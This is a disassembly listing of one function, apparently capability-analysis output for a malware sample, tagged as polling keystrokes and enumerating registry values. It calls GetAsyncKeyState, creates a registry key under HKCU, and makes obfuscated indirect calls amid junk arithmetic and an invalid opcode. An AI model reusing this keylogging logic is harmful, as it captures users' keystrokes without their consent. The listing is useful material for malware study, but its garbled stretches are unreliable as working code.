Function at 0x402ce0
Capabilities:
Log keystrokes via polling
Query or enumerate registry value

Disassembly:
dec eax
mov edx, 0xffffffff
push edx
call dword [sym.imp.user32.dll_GetAsyncKeyState]
push 0x95e
pop ebx
sub ebx, esi
rol ebx, 1
sub ebx, dword [0x41960d]
mov edi, ebx
ror edi, 1
shl edi, 3
add edi, 0xc4
add edi, 0xb0d
je 0x4012d7
rol edi, 4
ror edi, 1
add edi, 0x6ab
jne 0x4012e7
sub edi, 0x6a9
add byte [ecx], ch
cmp eax, 0x419aae
sub dword [0x419aae], edi
inc edx
jb 0x4012f8
push cs
and ah, bh
loop 0x4012e6
mov byte [0xdc14adb4], al
adc al, 0xdc
adc eax, 0xdf8b50b0
sub esi, ebx
add ebx, eax
lea esi, [edi + 0x73]
dec eax
mov ebx, 0xffffffff
push ebx
call dword [sym.imp.user32.dll_GetAsyncKeyState]
lea eax, [eax + 0x41962f]
add eax, 0x447
js 0x401325
mov edi, eax
shl edi, 7
mov esi, edi
shr esi, 8
add esi, edi
dec esi
sub esi, 0x331
ja 0x40133a
sub esi, edi
sub esi, eax
mov ecx, esi
ror ecx, 1
sub dword [0x4192f5], ecx
ret
or ebx, dword [0x419731]
mov eax, edx
sub edx, edi
lea edi, [edi + 4]
add ebx, edx
inc ebx
xor ebx, ebx
inc ebx
sub dword [0x41941b], ebx
dec ebx
add dword [0x4194e0], ebx
mov ecx, ebx
sub dword [0x419302], ecx
shl ecx, 1
sub ecx, edi
add ecx, 0xf3d
add ecx, 0x800
jns 0x401437
sub ecx, edi
sub dword [0x4196ca], ecx
or al, 0xb2
sub al, 0x72
push ebp
aaa
invalid
mov eax, ebp
push eax
mov ebp, esp
sub esp, 0x20
push edi
push esi
push 0
add ebx, eax
add eax, esi
push eax
lea eax, [0x4190ae]
push eax
push 0
push 0
lea eax, [0x419029]
push eax
call fcn.00401804
mov dword [0x419253], eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4196a3
push 0x80000001
mov edx, dword [sym.imp.ADVAPI32.DLL_RegCreateKeyExW]
call edx
mov ebx, esi
ror ebx, 4
mov edi, ebx
shl edi, 7
ror edi, 1
shl edi, 7
sub edi, esi
rol edi, 3
shr edi, 8
add edi, eax
mov dword [ebp - 0x14], edi
push 0
lea eax, [0x419564]
push eax
lea eax, [0x41912d]
push eax
push 0x4e400
push 0
call fcn.0040167c
mov dword [ebp - 0x20], eax
or eax, eax
jne 0x402d6d
inc eax
add esi, ebx
sub ebx, eax
push 0x80869
push esi
mov dword [ebp - 0x18], ebx
add esi, edi
add eax, edi
push 0x13ac3
push 0x7e3d3
call fcn.00401c00
mov dword [0x419146], eax
or eax, eax
jne 0x402d99
mov eax, edi
dec ebx
push 0
push 0
push 0
mov eax, 0x992d0
mov edx, eax
mov dword [ebp - 8], 0x36cdec
add edx, dword [ebp - 8]
push dword [edx]
pop dword [0x41939a]
mov edx, dword [0x41939a]
call edx
lea eax, [0x41934f]
push eax
push ebx
push eax
call fcn.00401c5c
mov dword [0x419640], eax
or eax, eax
jne 0x402dd8
dec esi
push edi
inc ebx
dec eax
push 0xeeabd
sub esi, eax
sub esi, edi
lea eax, [0x4195d4]
push eax
push 0
call fcn.0040198c
mov dword [ebp - 0x18], eax
push 0x29
pop edi
push edi
mov ebx, dword [sym.imp.gdi32.dll_GetBkMode]
call ebx
or eax, eax
jne 0x4013f8
lea eax, [0x41935d]
push eax
push eax
call fcn.00401ba4
mov dword [ebp - 0xc], eax
mov edx, 0
push edx
push 0x56
pop ecx
push ecx
mov ebx, 0xc3
mov esi, ebx
push esi
mov ecx, 1
mov eax, ecx
push eax
mov edx, dword [sym.imp.gdi32.dll_GetCharABCWidthsW]
call edx
or eax, eax
jne 0x4012a2
mov edx, 0x3894c662
mov ecx, edx
push ecx
push 0x36bbe9
pop edi
mov dword [ebp - 0x14], 0xadc03
add edi, dword [ebp - 0x14]
push edi
push 0x3650ee
pop edx
mov dword [ebp - 4], 0xb40d2
add edx, dword [ebp - 4]
push edx
push 0
pop ecx
push ecx
mov eax, 0x29e7c4
mov esi, eax
add esi, 0x17ac28
push esi
mov ecx, 0x172fd3
mov ebx, ecx
add ebx, 0x2a60ac
push ebx
mov edx, 0xec
push edx
mov dword [ebp - 0xc], 0
mov ebx, dword [ebp - 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.DLL_RegEnumValueW]
call ebx
mov dword [ebp - 0xc], eax
or eax, eax
je 0x402eb7
inc eax
push esi
push 0
push 0
call fcn.00401c5c
mov dword [0x4191cc], eax
or eax, eax
je 0x402ece
dec ebx
mov dword [ebp - 0xc], eax
push 0xee7
pop eax
add eax, eax
sub eax, dword [0x41952f]
add eax, ebx
shl eax, 1
mov dword [ebp - 0x20], eax
shl eax, 1
add eax, esi
add eax, dword [0x419424]
sub dword [0x419a44], eax
push 0x2030da
pop esi
shl esi, 1
call dword [esi]
mov ecx, 0
dec ecx
add ecx, dword [0x4197e9]
dec ecx
add ecx, 0x96a
mov edi, ecx
sub edi, 0xbf8
rol edi, 7
sub edi, eax
add edi, dword [0x419496]
add dword [0x419575], edi
xor edi, edi
add edi, 0xda0
jb 0x402f35
sub edi, ebx
add edi, eax
shr edi, 8
sub edi, dword [0x419883]
add edi, 0xff1
add dword [0x4193e8], edi
sub edi, esi
sub edi, 0xc25
sub edi, ecx
shr edi, 7
sub dword [0x419551], edi
mov dword [ebp - 0x10], 0x2c2f33
mov ecx, dword [ebp - 0x10]
add ecx, 0x14327d
mov ecx, dword [ecx]
call ecx
mov edx, 0xc5f
shr edx, 6
inc edx
add edx, dword [0x419716]
shl edx, 1
sub edx, 0xc79
jbe 0x402f92
sub edx, 0xf98
inc edx
sub edx, 0x481
jne 0x402f9e
shl edx, 8
add edx, edi
mov ebx, edx
add ebx, ebx
mov dword [ebp - 0x1c], ebx
sub eax, 0x2256b73
mov ecx, 0
sub ecx, edx
inc ecx
add ecx, 0x1c8
add ecx, dword [0x419144]
ror ecx, 5
add ecx, ecx
add ecx, 0xe2d
sub ecx, esi
mov edi, ecx
dec edi
mov dword [ebp - 0xc], edi
sub eax, 0xfd9a6408
mov dword [0x4199ee], eax
mov dword [0x41947d], 0
mov esi, dword [0x41947d]
push esi
mov edx, 0x82
push edx
mov ecx, 0x3a
mov eax, ecx
push eax
mov edx, 1
mov esi, edx
push esi
push 0x44fb04
pop eax
mov ebx, 0x49990
mov ecx, ebx
sub eax, ecx
call dword [eax]
mov dword [ebp - 0x18], eax
or eax, eax
je 0x40301d
dec eax
push dword [0x4199ee]
mov esi, eax
add esi, 0xb28
ror esi, 1
inc esi
sub esi, 0x600
add esi, dword [0x4194dc]
sub esi, 0xe9c
mov ecx, esi
dec ecx
add ecx, 0x6d2
shl ecx, 1
add dword [0x41987c], ecx
ret